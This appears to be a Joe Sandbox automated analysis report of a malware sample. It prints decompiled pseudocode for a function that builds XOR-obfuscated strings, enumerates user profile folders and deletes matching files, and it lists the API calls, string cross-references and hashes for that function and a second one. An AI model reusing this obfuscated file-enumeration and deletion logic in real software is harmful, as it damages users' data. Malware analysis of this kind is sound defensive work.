P, xrefs: 0040E24F
N, xrefs: 0040E03C
C, xrefs: 0040DD92
7, xrefs: 0040E3BB
7, xrefs: 0040DE24
3, xrefs: 0040DE3C
}, xrefs: 0040E17E
y, xrefs: 0040E13F
M, xrefs: 0040E089
+, xrefs: 0040E02E
., xrefs: 0040E058
6, xrefs: 0040E0E4
7, xrefs: 0040E05F
<, xrefs: 0040DE44
,, xrefs: 0040DFE8
y, xrefs: 0040E0B3
5, xrefs: 0040E23B
q, xrefs: 0040E3AB
Z, xrefs: 0040E14D
E, xrefs: 0040DF24
M, xrefs: 0040E15B
7, xrefs: 0040E358
y, xrefs: 0040DF0F
CCbkTy, xrefs: 0040DDEF
Z, xrefs: 0040E07B
y, xrefs: 0040DFE1
Z, xrefs: 0040DFEF
q, xrefs: 0040E390
M, xrefs: 0040E043
x, xrefs: 0040E237
Z, xrefs: 0040DF1D
A, xrefs: 0040E2F6
E, xrefs: 0040E0C8
y, xrefs: 0040E027
<, xrefs: 0040DE20
q, xrefs: 0040DD7E
,, xrefs: 0040DF4E
x, xrefs: 0040E169
9, xrefs: 0040DE50
y, xrefs: 0040DF55
(, xrefs: 0040DD62
7, xrefs: 0040E0A5
(, xrefs: 0040E066
%, xrefs: 0040E36D
x, xrefs: 0040E051
7, xrefs: 0040DF47
7, xrefs: 0040E304
7, xrefs: 0040E3D3
P, xrefs: 0040E3CF
7, xrefs: 0040E382
-, xrefs: 0040DF40
+, xrefs: 0040DFA2
5, xrefs: 0040DE10
M, xrefs: 0040E0CF
M, xrefs: 0040DF71
(, xrefs: 0040E40E
Z, xrefs: 0040E193
q, xrefs: 0040E33C
x, xrefs: 0040DFC5
q, xrefs: 0040E3C3
Z, xrefs: 0040E0C1
MyxZ7, xrefs: 0040E1F5
7, xrefs: 0040E3A3
7, xrefs: 0040E0EB
8, xrefs: 0040DD8A

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$InfoProcessSleepSystem$AddressAllocCloseFreeGlobalHandleMemoryModuleNativeOpenProcQueryStatusValue
String ID: $"$#$%$%$&$&$'$($($($)$+$+$+$,$,$-$.$0$1$1$2$3$3$5$5$5$5$6$6$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7$7xPfF$8$9$9$:$;$;$<$<$>$?$?$?$@$A$A$A$A$A$A$A$C$CCbkTy$E$E$F$L$M$M$M$M$M$M$M$M$M$MyxZ7$N$P$P$R$X$X$Z$Z$Z$Z$Z$Z$Z$Z$Z$Z$^$e@$f$f$k$kAP7hq$o$p$q$q$q$q$q$q$q$s$t$uUAVs$x$x$x$x$x$x$x$x$x$x$x$y$y$y$y$y$y$y$y$y$y$}$~
API String ID: 981050649-2230552336
Opcode ID: c03f6246d9778d17be1987857de5ca22feda40365410bb35d061db2b41096737
Instruction ID: 551f5a30f5386f3a2435e279fc525433d657d641f79ba423c6c8d92e3452f696
Opcode Fuzzy Hash: c03f6246d9778d17be1987857de5ca22feda40365410bb35d061db2b41096737
Instruction Fuzzy Hash: 5A42D360D082D8C9EB22C769C9587DDBFB55B22308F4440DDD5893B2C2C7BE1A89DB66

Function 0041A4F0, Relevance: 256.1, APIs: 20, Strings: 126, Instructions: 578
memoryfilestringCrypto

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E0041A4F0() {
				signed int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				short _v46;
				void* _v52;
				signed int _v56;
				void* _v60;
				short* _v64;
				void* _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v261;
				char _v262;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				intOrPtr* _v272;
				char _v276;
				char _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v296;
				short _v298;
				short _v300;
				long _v304;
				void* _v308;
				void* _v312;
				unsigned int _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				struct _WIN32_FIND_DATAW _v920;
				void* _t417;
				void* _t429;
				int _t435;
				int _t439;
				int _t441;
				signed char _t455;
				signed int _t515;
				void* _t620;
				void* _t627;
				void* _t628;
				void* _t632;
				void* _t634;

				_v304 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				_v8 = 0;
				_v60 = 0;
				__imp__GetProfilesDirectoryW(0,  &_v8); // executed
				if(_v8 != 0) {
					_v8 = _v8 + 0xa;
					_v12 = HeapAlloc(GetProcessHeap(), 8, _v8 << 1);
					_v16 = HeapAlloc(GetProcessHeap(), 8, _v8 << 1);
					if(_v12 != 0) {
						_v20 = HeapAlloc(GetProcessHeap(), 8, 0x208);
						memset( &_v920, 0, 0x250 << 0);
						memset(_v20, 0, 0x208 << 0);
						memset(_v16, 0, _v8 << 1 << 0);
						_t417 = memset(_v12, 0, _v8 << 1 << 0);
						_t632 = _t628 + 0x30;
						__imp__GetProfilesDirectoryW(_v12,  &_v8); // executed
						if(_t417 != 0) {
							_v272 = _v12;
							_v64 = _v16;
							_v328 = _v64;
							do {
								_v46 =  *_v272;
								 *_v64 = _v46;
								_v272 = _v272 + 2;
								_v64 = _v64 + 2;
							} while (_v46 != 0);
							_v140 = 0x2b;
							_v139 = 0x73;
							_v138 = 0x1b;
							_v137 = 0x6b;
							_v136 = 0x4f;
							_v135 = 0x77;
							_v134 = 0x59;
							_v133 = 0x31;
							_v132 = 0x6b;
							_v131 = 0x61;
							_v80 = 0x77;
							_v79 = 0x73;
							_v78 = 0x31;
							_v77 = 0x6b;
							_v76 = 0x61;
							E00402B00( &_v296, 0x14);
							_v28 = 0;
							while(_v28 < 0xa) {
								if(1 != 0) {
									asm("cdq");
									_t73 = _v28 % 5 - 0x4c; // 0x77
									E00402AE0( &_v296, _v28,  *(_t627 + _v28 - 0x88) & 0x000000ff ^  *(_t627 + _t73) & 0x000000ff);
								}
								_v28 = _v28 + 1;
							}
							_v52 = E00402AD0( &_v296);
							_v308 = _v52;
							do {
								_v298 =  *_v52;
								_v52 = _v52 + 2;
							} while (_v298 != 0);
							_v312 = _v308;
							_v316 = _v52 - _v308;
							_v68 = _v16 + 0xfffffffe;
							do {
								_v300 =  *((intOrPtr*)(_v68 + 2));
								_v68 = _v68 + 2;
							} while (_v300 != 0);
							_t620 = _v312;
							_t515 = _v316 >> 2;
							memcpy(_t620 + _t515 + _t515, _t620, memcpy(_v68, _t620, _t515 << 2) & 0x00000003);
							_t634 = _t632 + 0x18;
							_t429 = FindFirstFileW(_v16,  &_v920); // executed
							_v60 = _t429;
							if(_v60 != 0xffffffff) {
								do {
									_v72 = 0x1c;
									_v71 = 0x30;
									_v70 = 0x35;
									_v69 = 0x44;
									_v88 = 0x32;
									_v87 = 0x30;
									_v86 = 0x35;
									_v85 = 0x44;
									_v84 = 0x35;
									E00402B00( &_v292, 8);
									_v32 = 0;
									while(_v32 < 4) {
										if(1 != 0) {
											asm("cdq");
											_t129 = _v32 % 5 - 0x54; // 0x32
											E00402AE0( &_v292, _v32,  *(_t627 + _v32 - 0x44) & 0x000000ff ^  *(_t627 + _t129) & 0x000000ff);
										}
										_v32 = _v32 + 1;
									}
									_v120 = 0x62;
									_v119 = 0x34;
									_v118 = 0x42;
									_v117 = 0x41;
									_v116 = 0x41;
									_v115 = 0x4c;
									_v96 = 0x4c;
									_v95 = 0x34;
									_v94 = 0x6c;
									_v93 = 0x41;
									_v92 = 0x41;
									E00402B00( &_v288, 0xc);
									_v36 = 0;
									while(_v36 < 6) {
										if(1 != 0) {
											_t150 = _v36 - 0x74; // 0x62
											asm("cdq");
											_t157 = _v36 % 5 - 0x5c; // 0x4c
											E00402AE0( &_v288, _v36,  *(_t627 + _t150) & 0x000000ff ^  *(_t627 + _t157) & 0x000000ff);
										}
										_v36 = _v36 + 1;
									}
									_t435 = lstrcmpW( &(_v920.cFileName), E00402AD0( &_v292)); // executed
									if(_t435 != 0) {
										_t441 = lstrcmpW( &(_v920.cFileName), E00402AD0( &_v288)); // executed
										if(_t441 != 0 && (_v920.dwFileAttributes & 0x00000010) != 0) {
											_v220 = 0x23;
											_v219 = 0x6a;
											_v218 = 0x56;
											_v217 = 0x74;
											_v216 = 0x11;
											_v215 = 0x31;
											_v214 = 0xe;
											_v213 = 0x6a;
											_v212 = 0x55;
											_v211 = 0x74;
											_v210 = 0x52;
											_v209 = 0x31;
											_v208 = 0x3c;
											_v207 = 0x6a;
											_v206 = 0x5c;
											_v205 = 0x74;
											_v204 = 6;
											_v203 = 0x31;
											_v202 = 0x1b;
											_v201 = 0x6a;
											_v200 = 0x50;
											_v199 = 0x74;
											_v198 = 0x1c;
											_v197 = 0x31;
											_v196 = 8;
											_v195 = 0x6a;
											_v194 = 0x4a;
											_v193 = 0x74;
											_v192 = 0x2e;
											_v191 = 0x31;
											_v190 = 0x3b;
											_v189 = 0x6a;
											_v188 = 0x5c;
											_v187 = 0x74;
											_v186 = 0x1f;
											_v185 = 0x31;
											_v184 = 0x1f;
											_v183 = 0x6a;
											_v182 = 0x39;
											_v181 = 0x74;
											_v128 = 0x6f;
											_v127 = 0x6a;
											_v126 = 0x39;
											_v125 = 0x74;
											_v124 = 0x72;
											_v123 = 0x31;
											E00402B00( &_v284, 0x50);
											_v24 = 0;
											while(_v24 < 0x28) {
												if(1 != 0) {
													asm("cdq");
													_t225 = _v24 % 6 - 0x7c; // 0x6f
													E00402AE0( &_v284, _v24,  *(_t627 + _v24 - 0xd8) & 0x000000ff ^  *(_t627 + _t225) & 0x000000ff);
												}
												_v24 = _v24 + 1;
											}
											_v180 = 8;
											_v179 = 0x38;
											_v178 = 0x3a;
											_v177 = 0x76;
											_v176 = 4;
											_v175 = 0x49;
											_v174 = 0x7c;
											_v173 = 0x4a;
											_v172 = 0x17;
											_v171 = 0x74;
											_v170 = 0x3d;
											_v169 = 0x38;
											_v168 = 0x2b;
											_v167 = 0x76;
											_v166 = 0x28;
											_v165 = 0x49;
											_v164 = 0x74;
											_v163 = 0x4a;
											_v162 = 0x19;
											_v161 = 0x74;
											_v160 = 0x2a;
											_v159 = 0x38;
											_v158 = 0x2b;
											_v157 = 0x76;
											_v156 = 0x18;
											_v155 = 0x49;
											_v154 = 0x64;
											_v153 = 0x4a;
											_v152 = 0x22;
											_v151 = 0x74;
											_v150 = 0x2c;
											_v149 = 0x38;
											_v148 = 0x27;
											_v147 = 0x76;
											_v146 = 4;
											_v145 = 0x49;
											_v144 = 0x38;
											_v143 = 0x4a;
											_v104 = 0x49;
											_v103 = 0x38;
											_v102 = 0x4a;
											_v101 = 0x76;
											_v100 = 0x74;
											E00402B00( &_v280, 0x4c);
											_v40 = 0;
											while(_v40 < 0x26) {
												if(1 != 0) {
													asm("cdq");
													_t285 = _v40 % 5 - 0x64; // 0x49
													E00402AE0( &_v280, _v40,  *(_t627 + _v40 - 0xb0) & 0x000000ff ^  *(_t627 + _t285) & 0x000000ff);
												}
												_v40 = _v40 + 1;
											}
											_v324 = E00402AD0( &_v280);
											_v320 = E00402AD0( &_v284);
											_v56 = 0;
											while(_v56 < 2) {
												_v268 = 0x67;
												_v267 = 0x70;
												_v266 = 0x36;
												_v265 = 0x51;
												_v264 = 0x2e;
												_v263 = 0x42;
												_v262 = 0x55;
												_v261 = 0x45;
												_v260 = 0x22;
												_v259 = 0x72;
												_v258 = 0x1e;
												_v257 = 0x70;
												_v256 = 0x60;
												_v255 = 0x51;
												_v254 = 1;
												_v253 = 0x42;
												_v252 = 0x2c;
												_v251 = 0x45;
												_v250 = 0x24;
												_v249 = 0x72;
												_v248 = 0x33;
												_v247 = 0x70;
												_v246 = 0x2f;
												_v245 = 0x51;
												_v244 = 0x11;
												_v243 = 0x42;
												_v242 = 0x1b;
												_v241 = 0x45;
												_v240 = 0x34;
												_v239 = 0x72;
												_v238 = 0x25;
												_v237 = 0x70;
												_v236 = 0x30;
												_v235 = 0x51;
												_v234 = 0x1a;
												_v233 = 0x42;
												_v232 = 0x1c;
												_v231 = 0x45;
												_v230 = 0x7f;
												_v229 = 0x72;
												_v228 = 0x36;
												_v227 = 0x70;
												_v226 = 0x28;
												_v225 = 0x51;
												_v224 = 2;
												_v223 = 0x42;
												_v222 = 0x70;
												_v221 = 0x45;
												_v112 = 0x42;
												_v111 = 0x70;
												_v110 = 0x45;
												_v109 = 0x51;
												_v108 = 0x72;
												E00402B00( &_v276, 0x60);
												_v44 = 0;
												while(_v44 < 0x30) {
													if(1 != 0) {
														asm("cdq");
														_t363 = _v44 % 5 - 0x6c; // 0x42
														E00402AE0( &_v276, _v44,  *(_t627 + _v44 - 0x108) & 0x000000ff ^  *(_t627 + _t363) & 0x000000ff);
													}
													_v44 = _v44 + 1;
												}
												_push( *((intOrPtr*)(_t627 + _v56 * 4 - 0x140)));
												_push( &(_v920.cFileName));
												_push(_v12);
												wsprintfW(_v20, E00402AD0( &_v276));
												_t455 = E0041A3F0( &_v276, _v20); // executed
												_t634 = _t634 + 0x18;
												if((_t455 & 0x000000ff) != 0) {
													E00403B10(_v20);
													_t634 = _t634 + 4;
													_v304 = 1;
												}
												E00402B30( &_v276);
												_v56 = _v56 + 1;
											}
											E00402B30( &_v280);
											E00402B30( &_v284);
										}
									}
									E00402B30( &_v288);
									E00402B30( &_v292);
									_t439 = FindNextFileW(_v60,  &_v920); // executed
								} while (_t439 != 0);
							}
							FindClose(_v60);
							E00402B30( &_v296);
						}
					}
				}
				if(_v16 != 0) {
					HeapFree(GetProcessHeap(), 0, _v16);
				}
				if(_v12 != 0) {
					HeapFree(GetProcessHeap(), 0, _v12);
				}
				if(_v20 != 0) {
					HeapFree(GetProcessHeap(), 0, _v20);
				}
				return _v304;
			}

0x0041a4fb
0x0041a505
0x0041a50c
0x0041a513
0x0041a51a
0x0041a521
0x0041a52e
0x0041a538
0x0041a544
0x0041a55c
0x0041a574
0x0041a57b
0x0041a595
0x0041a5a5
0x0041a5b1
0x0041a5bd
0x0041a5c9
0x0041a5c9
0x0041a5d3
0x0041a5db
0x0041a5e4
0x0041a5ed
0x0041a5f3
0x0041a5f9
0x0041a602
0x0041a60d
0x0041a619
0x0041a625
0x0041a628
0x0041a62f
0x0041a636
0x0041a63d
0x0041a644
0x0041a64b
0x0041a652
0x0041a659
0x0041a660
0x0041a667
0x0041a66b
0x0041a66f
0x0041a673
0x0041a677
0x0041a67b
0x0041a67f
0x0041a68b
0x0041a690
0x0041a6a2
0x0041a6af
0x0041a6bf
0x0041a6c7
0x0041a6d9
0x0041a6d9
0x0041a69f
0x0041a69f
0x0041a6eb
0x0041a6f1
0x0041a6f7
0x0041a6fd
0x0041a704
0x0041a708
0x0041a721
0x0041a727
0x0041a733
0x0041a736
0x0041a73d
0x0041a744
0x0041a748
0x0041a755
0x0041a763
0x0041a76d
0x0041a76d
0x0041a77a
0x0041a780
0x0041a787
0x0041a78d
0x0041a78d
0x0041a791
0x0041a795
0x0041a799
0x0041a79d
0x0041a7a1
0x0041a7a5
0x0041a7a9
0x0041a7ad
0x0041a7b9
0x0041a7be
0x0041a7d0
0x0041a7dd
0x0041a7ea
0x0041a7f2
0x0041a804
0x0041a804
0x0041a7cd
0x0041a7cd
0x0041a80b
0x0041a80f
0x0041a813
0x0041a817
0x0041a81b
0x0041a81f
0x0041a823
0x0041a827
0x0041a82b
0x0041a82f
0x0041a833
0x0041a83f
0x0041a844
0x0041a856
0x0041a863
0x0041a868
0x0041a870
0x0041a878
0x0041a88a
0x0041a88a
0x0041a853
0x0041a853
0x0041a8a4
0x0041a8ac
0x0041a8c5
0x0041a8cd
0x0041a8e2
0x0041a8e9
0x0041a8f0
0x0041a8f7
0x0041a8fe
0x0041a905
0x0041a90c
0x0041a913
0x0041a91a
0x0041a921
0x0041a928
0x0041a92f
0x0041a936
0x0041a93d
0x0041a944
0x0041a94b
0x0041a952
0x0041a959
0x0041a960
0x0041a967
0x0041a96e
0x0041a975
0x0041a97c
0x0041a983
0x0041a98a
0x0041a991
0x0041a998
0x0041a99f
0x0041a9a6
0x0041a9ad
0x0041a9b4
0x0041a9bb
0x0041a9c2
0x0041a9c9
0x0041a9d0
0x0041a9d7
0x0041a9de
0x0041a9e5
0x0041a9ec
0x0041a9f3
0x0041a9fa
0x0041a9fe
0x0041aa02
0x0041aa06
0x0041aa0a
0x0041aa0e
0x0041aa1a
0x0041aa1f
0x0041aa31
0x0041aa3e
0x0041aa4e
0x0041aa56
0x0041aa68
0x0041aa68
0x0041aa2e
0x0041aa2e
0x0041aa6f
0x0041aa76
0x0041aa7d
0x0041aa84
0x0041aa8b
0x0041aa92
0x0041aa99
0x0041aaa0
0x0041aaa7
0x0041aaae
0x0041aab5
0x0041aabc
0x0041aac3
0x0041aaca
0x0041aad1
0x0041aad8
0x0041aadf
0x0041aae6
0x0041aaed
0x0041aaf4
0x0041aafb
0x0041ab02
0x0041ab09
0x0041ab10
0x0041ab17
0x0041ab1e
0x0041ab25
0x0041ab2c
0x0041ab33
0x0041ab3a
0x0041ab41
0x0041ab48
0x0041ab4f
0x0041ab56
0x0041ab5d
0x0041ab64
0x0041ab6b
0x0041ab72
0x0041ab79
0x0041ab7d
0x0041ab81
0x0041ab85
0x0041ab89
0x0041ab95
0x0041ab9a
0x0041abac
0x0041abb9
0x0041abc9
0x0041abd1
0x0041abe3
0x0041abe3
0x0041aba9
0x0041aba9
0x0041abf5
0x0041ac06
0x0041ac0c
0x0041ac1e
0x0041ac28
0x0041ac2f
0x0041ac36
0x0041ac3d
0x0041ac44
0x0041ac4b
0x0041ac52
0x0041ac59
0x0041ac60
0x0041ac67
0x0041ac6e
0x0041ac75
0x0041ac7c
0x0041ac83
0x0041ac8a
0x0041ac91
0x0041ac98
0x0041ac9f
0x0041aca6
0x0041acad
0x0041acb4
0x0041acbb
0x0041acc2
0x0041acc9
0x0041acd0
0x0041acd7
0x0041acde
0x0041ace5
0x0041acec
0x0041acf3
0x0041acfa
0x0041ad01
0x0041ad08
0x0041ad0f
0x0041ad16
0x0041ad1d
0x0041ad24
0x0041ad2b
0x0041ad32
0x0041ad39
0x0041ad40
0x0041ad47
0x0041ad4e
0x0041ad55
0x0041ad5c
0x0041ad63
0x0041ad6a
0x0041ad71
0x0041ad78
0x0041ad7c
0x0041ad80
0x0041ad84
0x0041ad88
0x0041ad94
0x0041ad99
0x0041adab
0x0041adb8
0x0041adc8
0x0041add0
0x0041ade2
0x0041ade2
0x0041ada8
0x0041ada8
0x0041adf3
0x0041adfa
0x0041adfe
0x0041ae0f
0x0041ae1c
0x0041ae21
0x0041ae29
0x0041ae2f
0x0041ae34
0x0041ae37
0x0041ae37
0x0041ae47
0x0041ac1b
0x0041ac1b
0x0041ae57
0x0041ae62
0x0041ae62
0x0041a8cd
0x0041ae6d
0x0041ae78
0x0041ae88
0x0041ae8e
0x0041a78d
0x0041ae9a
0x0041aea6
0x0041aea6
0x0041a5db
0x0041a57b
0x0041aeaf
0x0041aebe
0x0041aebe
0x0041aec8
0x0041aed7
0x0041aed7
0x0041aee1
0x0041aef0
0x0041aef0
0x0041af01

APIs

GetProfilesDirectoryW.USERENV(00000000,00000000), ref: 0041A52E
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0041A54F
HeapAlloc.KERNEL32(00000000), ref: 0041A556
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0041A567
HeapAlloc.KERNEL32(00000000), ref: 0041A56E
GetProcessHeap.KERNEL32(00000008,00000208), ref: 0041A588
HeapAlloc.KERNEL32(00000000), ref: 0041A58F
GetProfilesDirectoryW.USERENV(00000000,00000000), ref: 0041A5D3

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

FindFirstFileW.KERNELBASE(00000000,?,00000014), ref: 0041A77A
lstrcmpW.KERNELBASE(?,00000000,0000000C,00000008), ref: 0041A8A4
lstrcmpW.KERNELBASE(?,00000000), ref: 0041A8C5
wsprintfW.USER32 ref: 0041AE0F

Part of subcall function 0041A3F0: GetFileAttributesW.KERNELBASE(0041AE21,?,?,0041AE21,00000000), ref: 0041A3F8

Part of subcall function 00403B10: DeleteFileW.KERNEL32(00000000), ref: 00403B3C
Part of subcall function 00403B10: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403B61
Part of subcall function 00403B10: HeapFree.KERNEL32(00000000), ref: 00403B68

FindNextFileW.KERNELBASE(000000FF,?), ref: 0041AE88
FindClose.KERNEL32(000000FF), ref: 0041AE9A

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AEB7
HeapFree.KERNEL32(00000000), ref: 0041AEBE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AED0
HeapFree.KERNEL32(00000000), ref: 0041AED7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041AEE9
HeapFree.KERNEL32(00000000), ref: 0041AEF0

Strings

8, xrefs: 0041AA76
v, xrefs: 0041AA84
v, xrefs: 0041AB10
p, xrefs: 0041AC75
8, xrefs: 0041AB48
p, xrefs: 0041AC2F
E, xrefs: 0041AC9F
t, xrefs: 0041AADF
j, xrefs: 0041A967
8, xrefs: 0041AABC
\, xrefs: 0041A944
g, xrefs: 0041AC28
., xrefs: 0041A9A6
I, xrefs: 0041AA92
t, xrefs: 0041AB3A
b4BAAL, xrefs: 0041A868, 0041A87F
r, xrefs: 0041AC67
B, xrefs: 0041AC91
1, xrefs: 0041A983
,, xrefs: 0041AC98
O, xrefs: 0041A64B
R, xrefs: 0041A928
t, xrefs: 0041AAF4
a, xrefs: 0041A66B
r, xrefs: 0041ACF3
205D5, xrefs: 0041A7F2
`, xrefs: 0041AC7C
oj9tr1, xrefs: 0041AA56
j, xrefs: 0041A991
E, xrefs: 0041ACE5
1, xrefs: 0041A92F
w, xrefs: 0041A652
J, xrefs: 0041AAA0
j, xrefs: 0041A8E9
I, xrefs: 0041AAD8
t, xrefs: 0041A921
", xrefs: 0041AB33
j, xrefs: 0041A9BB
5, xrefs: 0041A795
(, xrefs: 0041AD4E
E, xrefs: 0041AD2B
6, xrefs: 0041AD40
., xrefs: 0041AC44
I, xrefs: 0041AB1E
j, xrefs: 0041A93D
$, xrefs: 0041ACA6
t, xrefs: 0041A8F7
t, xrefs: 0041AAAE
t, xrefs: 0041A975
Y, xrefs: 0041A659
V, xrefs: 0041A8F0
r, xrefs: 0041AD39
', xrefs: 0041AB4F
#, xrefs: 0041A8E2
,, xrefs: 0041AB41
B, xrefs: 0041AD63
<, xrefs: 0041A936
t, xrefs: 0041A94B
+, xrefs: 0041AAC3
%, xrefs: 0041ACFA
4, xrefs: 0041ACEC
E, xrefs: 0041AC59
6, xrefs: 0041AC36
ws1ka, xrefs: 0041A6C7
Q, xrefs: 0041AD55
L4lAA, xrefs: 0041A878
+, xrefs: 0041A62F
s, xrefs: 0041A636
k, xrefs: 0041A644
0, xrefs: 0041AD08
P, xrefs: 0041A96E
1, xrefs: 0041A959
J, xrefs: 0041AB2C
v, xrefs: 0041AB56
d, xrefs: 0041AB25
&, xrefs: 0041ABAC
I, xrefs: 0041AB64
r, xrefs: 0041ACAD
Q, xrefs: 0041ACC9
\, xrefs: 0041A9C2
p, xrefs: 0041AD6A
*, xrefs: 0041AAFB
k, xrefs: 0041A667
BpEQr, xrefs: 0041ADD0
t, xrefs: 0041A99F
(, xrefs: 0041AA31
0, xrefs: 0041A791
", xrefs: 0041AC60
E, xrefs: 0041AD71
p, xrefs: 0041AD01
D, xrefs: 0041A799
B, xrefs: 0041AC4B
/, xrefs: 0041ACC2
B, xrefs: 0041ACD7
v, xrefs: 0041AACA
1, xrefs: 0041A9AD
Q, xrefs: 0041AC3D
(, xrefs: 0041AAD1
8, xrefs: 0041AB6B
|, xrefs: 0041AA99
U, xrefs: 0041AC52
t, xrefs: 0041A9C9
3, xrefs: 0041ACB4
9, xrefs: 0041A9EC
p, xrefs: 0041ACBB
;, xrefs: 0041A9B4
U, xrefs: 0041A91A
p, xrefs: 0041AD47
J, xrefs: 0041AB72
j, xrefs: 0041A9E5
:, xrefs: 0041AA7D
1, xrefs: 0041A905
I8Jvt, xrefs: 0041ABD1
+, xrefs: 0041AB09
1, xrefs: 0041A9D7
j, xrefs: 0041A913
0, xrefs: 0041ADAB
t, xrefs: 0041A9F3
8, xrefs: 0041AB02
Q, xrefs: 0041AC83
=, xrefs: 0041AAB5
J, xrefs: 0041AAE6
1, xrefs: 0041A660
Q, xrefs: 0041AD0F
B, xrefs: 0041AD1D
J, xrefs: 0041A998

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$AllocFile$Find$DirectoryProfileslstrcmp$AttributesCloseDeleteFirstNextwsprintf
String ID: "$"$#$$$%$&$'$($($($*$+$+$+$,$,$.$.$/$0$0$0$1$1$1$1$1$1$1$205D5$3$4$5$6$6$8$8$8$8$8$9$:$;$<$=$B$B$B$B$B$BpEQr$D$E$E$E$E$E$I$I$I$I$I8Jvt$J$J$J$J$J$L4lAA$O$P$Q$Q$Q$Q$Q$R$U$U$V$Y$\$\$`$a$b4BAAL$d$g$j$j$j$j$j$j$j$k$k$oj9tr1$p$p$p$p$p$p$r$r$r$r$s$t$t$t$t$t$t$t$t$t$t$t$v$v$v$v$w$ws1ka$|
API String ID: 2461070174-2023093873
Opcode ID: 15972ef6a475510195cdac298067c8092fd7044aa29c8ec096cb4fed7a2449a3
Instruction ID: 0c2e9982e32d5cba365ebd8cc2078d65de2a07692c2962e36fd4799e4e98438a
Opcode Fuzzy Hash: 15972ef6a475510195cdac298067c8092fd7044aa29c8ec096cb4fed7a2449a3
Instruction Fuzzy Hash: 6E62F070D082D8CAEF25C768C9587DEBFB16F16308F0441D9D5897B282C7B91A89CF66

Function 00406E70, Relevance: 100.1, APIs: 10, Strings: 47, Instructions: 335
librarymemoryloader

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

LoadLibraryA.KERNEL32(00000000), ref: 0040700B
GetProcAddress.KERNELBASE(00000000), ref: 00407012
LoadLibraryA.KERNEL32(00000000), ref: 0040715A
GetProcAddress.KERNELBASE(00000000), ref: 00407161
LoadLibraryA.KERNEL32(00000000), ref: 00407292
GetProcAddress.KERNELBASE(00000000), ref: 00407299
GetProcessHeap.KERNEL32(00000008,00000000), ref: 004072C5
HeapAlloc.KERNEL32(00000000), ref: 004072CC
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040731E
HeapFree.KERNEL32(00000000), ref: 00407325

